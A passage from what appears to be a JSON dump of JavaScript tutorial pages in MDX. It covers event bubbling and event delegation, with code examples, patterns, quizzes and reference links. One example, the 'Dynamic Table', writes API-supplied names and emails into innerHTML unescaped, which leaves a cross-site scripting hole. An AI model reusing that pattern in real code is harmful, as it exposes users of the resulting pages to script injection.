`load`, `unload`, and `scroll` events do not bubble. For delegation with focus events, use `focusin` and `focusout` instead, which are their bubbling equivalents as defined in the W3C UI Events spec.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between event.target and event.currentTarget?\">\n    `event.target` is the element that originally triggered the event, while `event.currentTarget` is the element that has the listener attached. They are the same when you click directly on the element with the listener, but differ when events bubble up from child elements.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Event Delegation\" icon=\"sitemap\" href=\"/beyond/concepts/event-delegation\">\n    Use bubbling to handle events efficiently with one listener on a parent element.\n  </Card>\n  <Card title=\"Custom Events\" icon=\"bolt\" href=\"/beyond/concepts/custom-events\">\n    Create your own events that bubble through the DOM like native events.\n  </Card>\n  <Card title=\"DOM\" icon=\"code\" href=\"/concepts/dom\">\n    The fundamentals of DOM manipulation and event handling in JavaScript.\n  </Card>\n  <Card title=\"Scope and Closures\" icon=\"layer-group\" href=\"/concepts/scope-and-closures\">\n    How closures help preserve context in event handler callbacks.\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Event bubbling — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Scripting/Event_bubbling\">\n    Official MDN learning guide covering bubbling, capturing, and event delegation with interactive examples.\n  </Card>\n  <Card title=\"addEventListener() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/addEventListener\">\n    Complete reference for addEventListener including the capture option, passive listeners, and signal for cleanup.\n  </Card>\n  <Card title=\"Event.stopPropagation() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Event/stopPropagation\">\n    Documentation on stopping event propagation during capturing and bubbling phases.\n  </Card>\n  <Card title=\"Event.eventPhase — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Event/eventPhase\">\n    Reference for the eventPhase property and the constants for each propagation phase.\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Bubbling and Capturing — javascript.info\" icon=\"newspaper\" href=\"https://javascript.info/bubbling-and-capturing\">\n    The definitive tutorial on event propagation with interactive examples and visual diagrams. Covers the \"almost all events bubble\" edge cases that trip people up.\n  </Card>\n  <Card title=\"Event Propagation Explained — web.dev\" icon=\"newspaper\" href=\"https://web.dev/articles/eventing-deepdive\">\n    Google's deep dive into event propagation with performance considerations and best practices for modern web development.\n  </Card>\n  <Card title=\"Event order — QuirksMode\" icon=\"newspaper\" href=\"https://www.quirksmode.org/js/events_order.html\">\n    Peter-Paul Koch's classic article on event order that helped standardize how browsers handle propagation. Historical context meets practical wisdom.\n  </Card>\n  <Card title=\"Stop Propagation Considered Harmful — CSS-Tricks\" icon=\"newspaper\" href=\"https://css-tricks.com/dangers-stopping-event-propagation/\">\n    Philip Walton explains why stopping propagation often causes more problems than it solves, with real-world examples of bugs it creates.\n  </Card>\n</CardGroup>\n\n## Videos\n\n<CardGroup cols={2}>\n  <Card title=\"Event Bubbling and Capturing — Web Dev Simplified\" icon=\"video\" href=\"https://www.youtube.com/watch?v=XF1_MlZ5l6M\">\n    Clear, beginner-friendly explanation with visual demonstrations of how events travel through the DOM tree.\n  </Card>\n  <Card title=\"JavaScript Event Propagation — Fireship\" icon=\"video\" href=\"https://www.youtube.com/watch?v=Q6HAJ6bz7bY\">\n    Quick, engaging overview of bubbling and capturing with practical code examples you can follow along with.\n  </Card>\n  <Card title=\"DOM Events Deep Dive — Traversy Media\" icon=\"video\" href=\"https://www.youtube.com/watch?v=wK2cBMcDTss\">\n    Comprehensive crash course covering event propagation, delegation, and common patterns used in production applications.\n  </Card>\n</CardGroup>\n"
  },
  {
    "path": "docs/beyond/concepts/event-delegation.mdx",
    "content": "---\ntitle: \"Event Delegation in JavaScript\"\nsidebarTitle: \"Event Delegation\"\ndescription: \"Learn event delegation in JavaScript. Handle events efficiently using bubbling, manage dynamic elements, reduce memory usage, and implement common patterns.\"\n\"og:type\": \"article\"\n\"article:author\": \"Leonardo Maldonado\"\n\"article:section\": \"Events\"\n\"article:tag\": \"event delegation, event bubbling, dynamic elements, memory efficiency, event handling\"\n---\n\nHow do you handle click events on a list that could have 10, 100, or 1,000 items? What about elements that don't even exist yet — dynamically added after the page loads? If you're adding individual event listeners to each element, you're working too hard and using too much memory.\n\n```javascript\n// The problem: Adding listeners to every item doesn't scale\n// ❌ This approach has issues\ndocument.querySelectorAll('.todo-item').forEach(item => {\n  item.addEventListener('click', handleClick)\n})\n// What about items added later? They won't have listeners!\n\n// The solution: Event delegation\n// ✅ One listener handles all items, including future ones\ndocument.querySelector('.todo-list').addEventListener('click', (event) => {\n  if (event.target.matches('.todo-item')) {\n    handleClick(event)\n  }\n})\n```\n\n**Event delegation** is a technique that leverages [event bubbling](/beyond/concepts/event-bubbling-capturing) to handle events at a higher level in the DOM than the element where the event originated. Instead of attaching listeners to multiple child elements, you attach a single listener to a parent element and use `event.target` to determine which child triggered the event.\n\n<Info>\n**What you'll learn in this guide:**\n- What event delegation is and how it works\n- The difference between `event.target` and `event.currentTarget`\n- How to use `matches()` and `closest()` for element filtering\n- Handling events on dynamically added elements\n- Performance benefits of delegation\n- Common delegation patterns for lists, tables, and menus\n- When NOT to use event delegation\n</Info>\n\n<Warning>\n**Prerequisite:** This guide assumes you understand [event bubbling and capturing](/beyond/concepts/event-bubbling-capturing). Event delegation relies on bubbling — the mechanism where events \"bubble up\" from child elements to their ancestors.\n</Warning>\n\n---\n\n## What is Event Delegation?\n\n**Event delegation** is a pattern where you attach a single event listener to a parent element to handle events on its child elements. When an event occurs on a child, it bubbles up to the parent, where the listener catches it and determines which specific child triggered the event. As documented by [javascript.info](https://javascript.info/event-delegation), this approach reduces memory usage, simplifies code, and automatically handles dynamically added elements.\n\nThink of event delegation like a receptionist at an office building. Instead of giving every employee their own personal doorbell, visitors ring one doorbell at the reception desk. The receptionist then determines who the visitor wants to see and routes them appropriately. One point of contact handles all visitors efficiently.\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                        EVENT DELEGATION FLOW                                 │\n├─────────────────────────────────────────────────────────────────────────────┤\n│                                                                              │\n│   User clicks a <button> inside a <div>:                                     │\n│                                                                              │\n│   ┌──────────────────────────────────────────────────────────────────────┐  │\n│   │  <div class=\"container\">  ← Event listener attached HERE             │  │\n│   │    │                                                                 │  │\n│   │    ├── <button>Save</button>     ← Click happens HERE                │  │\n│   │    │                             ↑                                   │  │\n│   │    ├── <button>Delete</button>   │ Event bubbles UP                  │  │\n│   │    │                             │                                   │  │\n│   │    └── <button>Edit</button>     │                                   │  │\n│   │                                  │                                   │  │\n│   └──────────────────────────────────┴───────────────────────────────────┘  │\n│                                                                              │\n│   1. User clicks \"Save\" button                                               │\n│   2. Event bubbles up to container                                           │\n│   3. Container's listener catches the event                                  │\n│   4. event.target identifies which button was clicked                        │\n│   5. Handler takes appropriate action                                        │\n│                                                                              │\n└─────────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## The Key Players: target, currentTarget, matches, and closest\n\nBefore diving into delegation patterns, you need to understand four essential tools:\n\n### event.target vs event.currentTarget\n\nThese two properties are often confused but serve different purposes:\n\n```javascript\n// HTML: <ul id=\"menu\"><li><button>Click</button></li></ul>\n\ndocument.getElementById('menu').addEventListener('click', (event) => {\n  console.log('target:', event.target.tagName)        // BUTTON (what was clicked)\n  console.log('currentTarget:', event.currentTarget.tagName) // UL (where listener is)\n})\n```\n\n| Property | Returns | Use Case |\n|----------|---------|----------|\n| `event.target` | The element that **triggered** the event | Finding what was actually clicked |\n| `event.currentTarget` | The element that **has the listener** | Referencing the delegating parent |\n\n```javascript\n// Visual example: Click on the inner span\n// <div id=\"outer\">\n//   <p>\n//     <span>Click me</span>\n//   </p>\n// </div>\n\ndocument.getElementById('outer').addEventListener('click', (event) => {\n  // If user clicks the <span>:\n  console.log(event.target)        // <span>Click me</span>\n  console.log(event.currentTarget) // <div id=\"outer\">\n  \n  // target changes based on what's clicked\n  // currentTarget is always the element with the listener\n})\n```\n\n### Element.matches() — Checking Element Identity\n\nThe [`matches()`](https://developer.mozilla.org/en-US/docs/Web/API/Element/matches) method tests whether an element matches a CSS selector. It's essential for filtering which elements should trigger your handler:\n\n```javascript\ndocument.querySelector('.container').addEventListener('click', (event) => {\n  // Check if clicked element is a button\n  if (event.target.matches('button')) {\n    console.log('Button clicked!')\n  }\n  \n  // Check for specific class\n  if (event.target.matches('.delete-btn')) {\n    console.log('Delete button clicked!')\n  }\n  \n  // Check for data attribute\n  if (event.target.matches('[data-action]')) {\n    const action = event.target.dataset.action\n    console.log('Action:', action)\n  }\n  \n  // Complex selectors work too\n  if (event.target.matches('button.primary:not(:disabled)')) {\n    console.log('Enabled primary button clicked!')\n  }\n})\n```\n\n### Element.closest() — Finding Ancestor Elements\n\nThe [`closest()`](https://developer.mozilla.org/en-US/docs/Web/API/Element/closest) method traverses up the DOM tree to find the nearest ancestor (or the element itself) that matches a selector. [Can I Use data](https://caniuse.com/element-closest) shows `closest()` is supported in over 96% of browsers globally. This is crucial when the actual click target is a nested element:\n\n```javascript\n// Problem: User might click the icon inside the button\n// <button class=\"action-btn\">\n//   <svg class=\"icon\">...</svg>\n//   <span>Delete</span>\n// </button>\n\ndocument.querySelector('.container').addEventListener('click', (event) => {\n  // event.target might be the <svg> or <span>, not the <button>!\n  \n  // Solution: Use closest() to find the button ancestor\n  const button = event.target.closest('.action-btn')\n  \n  if (button) {\n    console.log('Action button clicked!')\n    // button is the <button> element, regardless of what was clicked inside\n  }\n})\n```\n\n```\n┌─────────────────────────────────────────────────────────────────────────────┐\n│                    closest() TRAVERSAL EXAMPLE                               │\n├─────────────────────────────────────────────────────────────────────────────┤\n│                                                                              │\n│   Click on <svg> inside button:                                              │\n│                                                                              │\n│   event.target = <svg>                                                       │\n│                    │                                                         │\n│                    ▼                                                         │\n│   event.target.closest('.action-btn')                                        │\n│                    │                                                         │\n│       ┌────────────┴────────────┐                                            │\n│       │ Check: Does <svg>       │                                            │\n│       │ match '.action-btn'?    │  NO                                        │\n│       └────────────┬────────────┘                                            │\n│                    │ Move UP to parent                                       │\n│                    ▼                                                         │\n│       ┌────────────────────────────┐                                         │\n│       │ Check: Does <button>       │                                         │\n│       │ match '.action-btn'?       │  YES ──► Returns <button>               │\n│       └────────────────────────────┘                                         │\n│                                                                              │\n└─────────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## Basic Event Delegation Pattern\n\nHere's the fundamental pattern for event delegation:\n\n```javascript\n// Step 1: Attach listener to parent container\ndocument.querySelector('.parent-container').addEventListener('click', (event) => {\n  \n  // Step 2: Identify the target element\n  const target = event.target\n  \n  // Step 3: Check if target matches what we're looking for\n  if (target.matches('.child-element')) {\n    // Step 4: Handle the event\n    handleChildClick(target)\n  }\n})\n```\n\n### Example: Clickable List Items\n\n```javascript\n// HTML:\n// <ul id=\"todo-list\">\n//   <li data-id=\"1\">Buy groceries</li>\n//   <li data-id=\"2\">Walk the dog</li>\n//   <li data-id=\"3\">Finish report</li>\n// </ul>\n\nconst todoList = document.getElementById('todo-list')\n\ntodoList.addEventListener('click', (event) => {\n  // Check if an <li> was clicked\n  const item = event.target.closest('li')\n  \n  if (item) {\n    const id = item.dataset.id\n    console.log(`Clicked todo item with id: ${id}`)\n    item.classList.toggle('completed')\n  }\n})\n\n// This handles all existing items AND any items added later!\n```\n\n---\n\n## Handling Dynamic Elements\n\nOne of the biggest advantages of event delegation is handling elements that are added to the DOM after the page loads:\n\n```javascript\n// Without delegation: New items don't work!\nfunction addTodoWithoutDelegation(text) {\n  const li = document.createElement('li')\n  li.textContent = text\n  \n  // You'd have to manually add a listener to each new element\n  li.addEventListener('click', handleClick)  // Tedious and error-prone!\n  \n  document.getElementById('todo-list').appendChild(li)\n}\n\n// With delegation: New items automatically work!\nfunction addTodoWithDelegation(text) {\n  const li = document.createElement('li')\n  li.textContent = text\n  \n  // No need to add individual listeners\n  // The parent's delegated listener handles it automatically\n  \n  document.getElementById('todo-list').appendChild(li)\n}\n\n// The delegated listener on the parent handles all items\ndocument.getElementById('todo-list').addEventListener('click', (event) => {\n  if (event.target.matches('li')) {\n    event.target.classList.toggle('completed')\n  }\n})\n```\n\n### Real-World Example: Dynamic Table\n\n```javascript\n// Imagine a table that gets rows from an API\nconst tableBody = document.querySelector('#users-table tbody')\n\n// One listener handles all row actions\ntableBody.addEventListener('click', (event) => {\n  const button = event.target.closest('button')\n  if (!button) return\n  \n  const row = button.closest('tr')\n  const userId = row.dataset.userId\n  \n  if (button.matches('.edit-btn')) {\n    editUser(userId)\n  } else if (button.matches('.delete-btn')) {\n    deleteUser(userId)\n    row.remove()\n  } else if (button.matches('.view-btn')) {\n    viewUser(userId)\n  }\n})\n\n// Later, when new data arrives:\nasync function loadUsers() {\n  const users = await fetch('/api/users').then(r => r.json())\n  \n  users.forEach(user => {\n    const row = document.createElement('tr')\n    row.dataset.userId = user.id\n    row.innerHTML = `\n      <td>${user.name}</td>\n      <td>${user.email}</td>\n      <td>\n        <button class=\"view-btn\">View</button>\n        <button class=\"edit-btn\">Edit</button>\n        <button class=\"delete-btn\">Delete</button>\n      </td>\n    `\n    tableBody.appendChild(row)\n  })\n  // All buttons automatically work without adding individual listeners!\n}\n```\n\n---\n\n## Common Delegation Patterns\n\n### Pattern 1: Action Buttons with data-action\n\nUse `data-action` attributes to specify what each element should do:\n\n```javascript\n// HTML:\n// <div id=\"toolbar\">\n//   <button data-action=\"save\">Save</button>\n//   <button data-action=\"load\">Load</button>\n//   <button data-action=\"delete\">Delete</button>\n// </div>\n\nconst actions = {\n  save() {\n    console.log('Saving...')\n  },\n  load() {\n    console.log('Loading...')\n  },\n  delete() {\n    console.log('Deleting...')\n  }\n}\n\ndocument.getElementById('toolbar').addEventListener('click', (event) => {\n  const action = event.target.dataset.action\n  \n  if (action && actions[action]) {\n    actions[action]()\n  }\n})\n```\n\n### Pattern 2: Tab Interface\n\n```javascript\n// HTML:\n// <div class=\"tabs\">\n//   <button class=\"tab\" data-tab=\"home\">Home</button>\n//   <button class=\"tab\" data-tab=\"profile\">Profile</button>\n//   <button class=\"tab\" data-tab=\"settings\">Settings</button>\n// </div>\n// <div class=\"tab-content\" id=\"home\">Home content</div>\n// <div class=\"tab-content\" id=\"profile\">Profile content</div>\n// <div class=\"tab-content\" id=\"settings\">Settings content</div>\n\ndocument.querySelector('.tabs').addEventListener('click', (event) => {\n  const tab = event.target.closest('.tab')\n  if (!tab) return\n  \n  // Remove active class from all tabs\n  document.querySelectorAll('.tab').forEach(t => t.classList.remove('active'))\n  tab.classList.add('active')\n  \n  // Hide all content, show selected\n  const tabId = tab.dataset.tab\n  document.querySelectorAll('.tab-content').forEach(content => {\n    content.hidden = content.id !== tabId\n  })\n})\n```\n\n### Pattern 3: Expandable/Collapsible Sections\n\n```javascript\n// HTML:\n// <div class=\"accordion\">\n//   <div class=\"accordion-item\">\n//     <button class=\"accordion-header\">Section 1</button>\n//     <div class=\"accordion-content\">Content 1...</div>\n//   </div>\n//   <div class=\"accordion-item\">\n//     <button class=\"accordion-header\">Section 2</button>\n//     <div class=\"accordion-content\">Content 2...</div>\n//   </div>\n// </div>\n\ndocument.querySelector('.accordion').addEventListener('click', (event) => {\n  const header = event.target.closest('.accordion-header')\n  if (!header) return\n  \n  const item = header.closest('.accordion-item')\n  const content = item.querySelector('.accordion-content')\n  const isExpanded = item.classList.contains('expanded')\n  \n  // Toggle this section\n  item.classList.toggle('expanded')\n  content.hidden = isExpanded\n  \n  // Optional: Close other sections (for exclusive accordion)\n  // document.querySelectorAll('.accordion-item').forEach(otherItem => {\n  //   if (otherItem !== item) {\n  //     otherItem.classList.remove('expanded')\n  //     otherItem.querySelector('.accordion-content').hidden = true\n  //   }\n  // })\n})\n```\n\n### Pattern 4: Form Validation\n\n```javascript\n// Delegate input validation to the form\ndocument.querySelector('#signup-form').addEventListener('input', (event) => {\n  const input = event.target\n  \n  if (input.matches('[data-validate]')) {\n    validateInput(input)\n  }\n})\n\nfunction validateInput(input) {\n  const type = input.dataset.validate\n  let isValid = true\n  let message = ''\n  \n  switch (type) {\n    case 'email':\n      isValid = /^[^\\s@]+@[^\\s@]+\\.[^\\s@]+$/.test(input.value)\n      message = isValid ? '' : 'Please enter a valid email'\n      break\n    case 'required':\n      isValid = input.value.trim().length > 0\n      message = isValid ? '' : 'This field is required'\n      break\n    case 'minlength':\n      const min = parseInt(input.dataset.minlength, 10)\n      isValid = input.value.length >= min\n      message = isValid ? '' : `Minimum ${min} characters required`\n      break\n  }\n  \n  input.classList.toggle('invalid', !isValid)\n  input.nextElementSibling.textContent = message\n}\n```\n\n---\n\n## Performance Benefits\n\nEvent delegation significantly reduces memory usage when dealing with many elements. According to [web.dev performance guidelines](https://web.dev/articles/dom-size-and-interactivity), minimizing the number of event listeners is a key strategy for improving Interaction to Next Paint (INP) scores:\n\n```javascript\n// Without delegation: 1000 listeners\nconst items = document.querySelectorAll('.item')  // 1000 items\nitems.forEach(item => {\n  item.addEventListener('click', handleClick)     // 1000 listeners created!\n})\n\n// With delegation: 1 listener\ndocument.querySelector('.container').addEventListener('click', (event) => {\n  if (event.target.matches('.item')) {\n    handleClick(event)\n  }\n})\n// Only 1 listener, handles all 1000+ items!\n```\n\n| Approach | Listeners | Memory Impact | Dynamic Elements |\n|----------|-----------|---------------|------------------|\n| Individual listeners on 1,000 items | 1,000 | High | Must add manually |\n| Event delegation | 1 | Low | Automatic |\n\n---\n\n## Limitations and Edge Cases\n\n### Events That Don't Bubble\n\nSome events don't bubble and can't be delegated in the traditional way:\n\n```javascript\n// These events DON'T bubble:\n// - focus / blur\n// - mouseenter / mouseleave\n// - load / unload / scroll (on elements)\n\n// Solution 1: Use capturing phase\ndocument.addEventListener('focus', (event) => {\n  if (event.target.matches('input')) {\n    console.log('Input focused')\n  }\n}, true)  // true = capture phase\n\n// Solution 2: Use bubbling alternatives\n// Instead of focus/blur, use focusin/focusout (they bubble!)\ndocument.querySelector('.form').addEventListener('focusin', (event) => {\n  if (event.target.matches('input')) {\n    event.target.classList.add('focused')\n  }\n})\n\ndocument.querySelector('.form').addEventListener('focusout', (event) => {\n  if (event.target.matches('input')) {\n    event.target.classList.remove('focused')\n  }\n})\n```\n\n### stopPropagation Interference\n\nIf child elements stop propagation, delegation won't work:\n\n```javascript\n// This child listener prevents delegation\nchildElement.addEventListener('click', (event) => {\n  event.stopPropagation()  // Parent never receives the event!\n  // Do something...\n})\n\n// Avoid using stopPropagation unless absolutely necessary\n// Consider using event.stopImmediatePropagation() only for specific cases\n```\n\n### Verifying the Element is Within Your Container\n\nWith nested tables or complex structures, ensure the target is actually within your container:\n\n```javascript\n// Problem with nested structures\ndocument.querySelector('#outer-table').addEventListener('click', (event) => {\n  const td = event.target.closest('td')\n  \n  // td might be from a nested table, not our table!\n  if (td && event.currentTarget.contains(td)) {\n    // Now we're sure td belongs to our table\n    handleCellClick(td)\n  }\n})\n```\n\n---\n\n## When NOT to Use Event Delegation\n\nEvent delegation isn't always the best choice:\n\n```javascript\n// ❌ DON'T delegate when:\n\n// 1. You have only one element\nconst singleButton = document.querySelector('#submit-btn')\nsingleButton.addEventListener('click', handleSubmit)  // Direct is fine\n\n// 2. You need to prevent default behavior immediately\n// (delegation adds slight delay due to bubbling)\n\n// 3. The event doesn't bubble (without capture workaround)\n\n// 4. Performance-critical scenarios where event.target checks add overhead\n// (extremely rare in practice)\n\n// ✅ DO use delegation when:\n// - Handling many similar elements\n// - Elements are added/removed dynamically\n// - You want cleaner, more maintainable code\n// - Memory efficiency is important\n```\n\n---\n\n## Common Mistakes\n\n### Mistake 1: Forgetting closest() for Nested Elements\n\n```javascript\n// ❌ WRONG: Only works if you click exactly on the button, not its children\ncontainer.addEventListener('click', (event) => {\n  if (event.target.matches('.btn')) {\n    // Fails if user clicks on <span> inside button!\n  }\n})\n\n// ✅ CORRECT: Works regardless of where inside the button you click\ncontainer.addEventListener('click', (event) => {\n  const btn = event.target.closest('.btn')\n  if (btn) {\n    // Works for button and all its children\n  }\n})\n```\n\n### Mistake 2: Not Checking Container Boundaries\n\n```javascript\n// ❌ WRONG: Might catch elements from nested structures\ntable.addEventListener('click', (event) => {\n  const row = event.target.closest('tr')\n  if (row) {\n    // Could be a row from a nested table!\n  }\n})\n\n// ✅ CORRECT: Verify the element is within our container\ntable.addEventListener('click', (event) => {\n  const row = event.target.closest('tr')\n  if (row && table.contains(row)) {\n    // Definitely our row\n  }\n})\n```\n\n### Mistake 3: Over-delegating\n\n```javascript\n// ❌ WRONG: Delegating at document level for everything\ndocument.addEventListener('click', (event) => {\n  // This catches EVERY click on the page!\n  if (event.target.matches('.my-button')) {\n    // ...\n  }\n})\n\n// ✅ CORRECT: Delegate at the appropriate container level\ndocument.querySelector('.my-component').addEventListener('click', (event) => {\n  if (event.target.matches('.my-button')) {\n    // Scoped to just this component\n  }\n})\n```\n\n---\n\n## Key Takeaways\n\n<Info>\n**The key things to remember:**\n\n1. **Event delegation uses bubbling** — Attach one listener to a parent instead of many listeners to children. Events bubble up from the clicked element to the parent.\n\n2. **event.target vs event.currentTarget** — `target` is what was clicked; `currentTarget` is where the listener is attached. Use `target` to identify which child triggered the event.\n\n3. **matches() filters elements** — Use `event.target.matches(selector)` to check if the clicked element matches your criteria.\n\n4. **closest() handles nested elements** — When buttons contain icons or spans, use `event.target.closest(selector)` to find the actual clickable element.\n\n5. **Dynamic elements work automatically** — Elements added after page load are handled without adding new listeners.\n\n6. **Memory efficient** — One listener instead of hundreds or thousands reduces memory usage significantly.\n\n7. **Not all events bubble** — `focus`, `blur`, `mouseenter`, and `mouseleave` don't bubble. Use `focusin`/`focusout` or capture phase instead.\n\n8. **Scope appropriately** — Delegate at the nearest common ancestor, not always at `document` level.\n\n9. **Verify container boundaries** — With nested structures, use `container.contains(element)` to ensure the target is within your container.\n\n10. **Keep handlers organized** — Use `data-action` attributes and action objects to keep delegation logic clean and maintainable.\n</Info>\n\n---\n\n## Test Your Knowledge\n\n<AccordionGroup>\n  <Accordion title=\"Question 1: What is the main benefit of event delegation?\">\n    **Answer:**\n    \n    Event delegation provides several key benefits:\n    \n    1. **Memory efficiency** — One listener handles many elements instead of attaching individual listeners to each\n    2. **Dynamic element handling** — Elements added after page load automatically work without adding new listeners\n    3. **Cleaner code** — Centralized event handling logic instead of scattered listeners\n    4. **Easier maintenance** — Changes only need to be made in one place\n    \n    ```javascript\n    // One listener handles all current and future list items\n    list.addEventListener('click', (event) => {\n      if (event.target.matches('li')) {\n        handleItemClick(event.target)\n      }\n    })\n    ```\n  </Accordion>\n  \n  <Accordion title=\"Question 2: When should you use closest() instead of matches()?\">\n    **Answer:**\n    \n    Use `closest()` when the actual click target might be a nested element inside the element you care about:\n    \n    ```javascript\n    // Button structure: <button class=\"btn\"><svg>...</svg><span>Click</span></button>\n    \n    // ❌ matches() fails if user clicks the <svg> or <span>\n    if (event.target.matches('.btn')) { }  // false when clicking icon!\n    \n    // ✅ closest() finds the button even when clicking nested elements\n    const btn = event.target.closest('.btn')  // finds parent button\n    if (btn) { }  // works!\n    ```\n    \n    Use `closest()` when:\n    - Elements contain icons, images, or nested markup\n    - You need to find a specific ancestor element\n    - You want to handle clicks anywhere within a complex element\n  </Accordion>\n  \n  <Accordion title=\"Question 3: Why do focus and blur events require special handling?\">\n    **Answer:**\n    \n    The `focus` and `blur` events **don't bubble** by default, so they can't be caught by a parent using standard delegation:\n    \n    ```javascript\n    // ❌ This won't work - focus doesn't bubble\n    form.addEventListener('focus', handler)\n    \n    // ✅ Solution 1: Use capture phase\n    form.addEventListener('focus', handler, true)\n    \n    // ✅ Solution 2: Use focusin/focusout (they bubble!)\n    form.addEventListener('focusin', handler)   // bubbling equivalent of focus\n    form.addEventListener('focusout', handler)  // bubbling equivalent of blur\n    ```\n    \n    Other non-bubbling events include: `mouseenter`, `mouseleave`, `load`, `unload`, and `scroll` (on elements).\n  </Accordion>\n  \n  <Accordion title=\"Question 4: How do you handle multiple action types with delegation?\">\n    **Answer:**\n    \n    Use `data-action` attributes to specify actions, and map them to handler functions:\n    \n    ```javascript\n    // HTML\n    // <button data-action=\"save\">Save</button>\n    // <button data-action=\"delete\">Delete</button>\n    \n    // JavaScript\n    const actions = {\n      save() { console.log('Saving...') },\n      delete() { console.log('Deleting...') }\n    }\n    \n    container.addEventListener('click', (event) => {\n      const action = event.target.dataset.action\n      if (action && actions[action]) {\n        actions[action]()\n      }\n    })\n    ```\n    \n    This pattern is clean, extensible, and keeps your delegation logic organized.\n  </Accordion>\n  \n  <Accordion title=\"Question 5: What's the difference between event.target and event.currentTarget?\">\n    **Answer:**\n    \n    | Property | Returns | When to use |\n    |----------|---------|-------------|\n    | `event.target` | Element that **triggered** the event | Identifying which child was clicked |\n    | `event.currentTarget` | Element that **has the listener** | Referencing the delegating parent |\n    \n    ```javascript\n    // <ul id=\"list\"><li><button>Click</button></li></ul>\n    \n    document.getElementById('list').addEventListener('click', (event) => {\n      console.log(event.target)        // <button> (what was clicked)\n      console.log(event.currentTarget) // <ul> (where listener is attached)\n    })\n    ```\n    \n    `target` changes based on what's clicked; `currentTarget` is always the element with the listener.\n  </Accordion>\n  \n  <Accordion title=\"Question 6: How do you verify an element is within your container with nested structures?\">\n    **Answer:**\n    \n    Use `container.contains(element)` to verify the target element is actually within your container:\n    \n    ```javascript\n    // Problem: With nested tables, closest('tr') might find a row \n    // from an inner table, not your table\n    \n    table.addEventListener('click', (event) => {\n      const row = event.target.closest('tr')\n      \n      // ❌ Wrong: row might be from nested table\n      if (row) { handleRow(row) }\n      \n      // ✅ Correct: verify row is within our table\n      if (row && table.contains(row)) { handleRow(row) }\n    })\n    ```\n    \n    This is especially important with complex layouts, nested components, or when working with third-party widgets that might be inserted into your container.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Frequently Asked Questions\n\n<AccordionGroup>\n  <Accordion title=\"What is event delegation in JavaScript?\">\n    Event delegation is a technique where you attach a single event listener to a parent element instead of multiple listeners on individual child elements. It works because of event bubbling — when a child is clicked, the event travels up to the parent where your listener catches it. MDN recommends this pattern for handling events on dynamic content.\n  </Accordion>\n\n  <Accordion title=\"When should I use event delegation?\">\n    Use delegation when you have many similar elements that need the same handler, when elements are added or removed dynamically, or when memory efficiency matters. According to web.dev, reducing the number of event listeners directly improves page interactivity and INP scores.\n  </Accordion>\n\n  <Accordion title=\"What is the difference between matches() and closest() for delegation?\">\n    `matches()` checks if the exact `event.target` matches a CSS selector, while `closest()` traverses up the DOM to find the nearest matching ancestor. Use `closest()` when your clickable elements contain nested children like icons or spans, since `event.target` might be the inner element rather than the button itself.\n  </Accordion>\n\n  <Accordion title=\"Can all JavaScript events be delegated?\">\n    No. Events that don't bubble — such as `focus`, `blur`, `mouseenter`, and `mouseleave` — cannot be delegated using the standard bubbling approach. The W3C UI Events spec defines `focusin` and `focusout` as bubbling alternatives for focus events, or you can use the capture phase as a workaround.\n  </Accordion>\n\n  <Accordion title=\"Does event delegation work with dynamically added elements?\">\n    Yes — this is one of its biggest advantages. Since the listener is on the parent, any child elements added later are automatically handled without needing to attach new listeners. This makes delegation essential for SPAs and any UI that renders content dynamically.\n  </Accordion>\n</AccordionGroup>\n\n---\n\n## Related Concepts\n\n<CardGroup cols={2}>\n  <Card title=\"Event Bubbling & Capturing\" icon=\"arrow-up\" href=\"/beyond/concepts/event-bubbling-capturing\">\n    Understand the event propagation mechanism that makes delegation possible\n  </Card>\n  <Card title=\"Custom Events\" icon=\"bolt\" href=\"/beyond/concepts/custom-events\">\n    Learn to create and dispatch your own events that work with delegation\n  </Card>\n  <Card title=\"DOM Manipulation\" icon=\"code\" href=\"/concepts/dom\">\n    Master the Document Object Model and element selection methods\n  </Card>\n  <Card title=\"Callbacks\" icon=\"phone\" href=\"/concepts/callbacks\">\n    Understand callback functions used as event handlers\n  </Card>\n</CardGroup>\n\n---\n\n## Reference\n\n<CardGroup cols={2}>\n  <Card title=\"Event.target — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Event/target\">\n    Official documentation for the target property that identifies the event origin\n  </Card>\n  <Card title=\"Event.currentTarget — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Event/currentTarget\">\n    Documentation for currentTarget, which identifies where the listener is attached\n  </Card>\n  <Card title=\"Element.closest() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Element/closest\">\n    Reference for the closest() method used to find ancestor elements\n  </Card>\n  <Card title=\"Element.matches() — MDN\" icon=\"book\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Element/matches\">\n    Documentation for testing if an element matches a CSS selector\n  </Card>\n</CardGroup>\n\n## Articles\n\n<CardGroup cols={2}>\n  <Card title=\"Event Delegation — JavaScript.info\" icon=\"newspaper\" href=\"https://javascript.info/event-delegation\">\n    Comprehensive tutorial with interactive examples covering delegation patterns, the behavior pattern, and practical exercises\n  </Card>\n  <Card title=\"Event Bubbling — MDN Learn\" icon=\"newspaper\" href=\"https://developer.mozilla.org/en-US/docs/Learn_web_development/Core/Scripting/Event_bubbling\">\n    MDN's guide to event bubbling with clear explanations of target vs currentTarget and delegation examples\n  </Card>\n  <Card title=\"How JavaScript Event Delegation Works — David Walsh\" icon=\"newspaper\" href=\"https://davidwalsh.name/event-delegate\">\n    Classic article explaining event delegation fundamentals with practical code examples\n  </Card>\n  <Card title=\"DOM Events Guide — MDN\" icon=\"newspaper\" href=\"https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model/Events\">\n    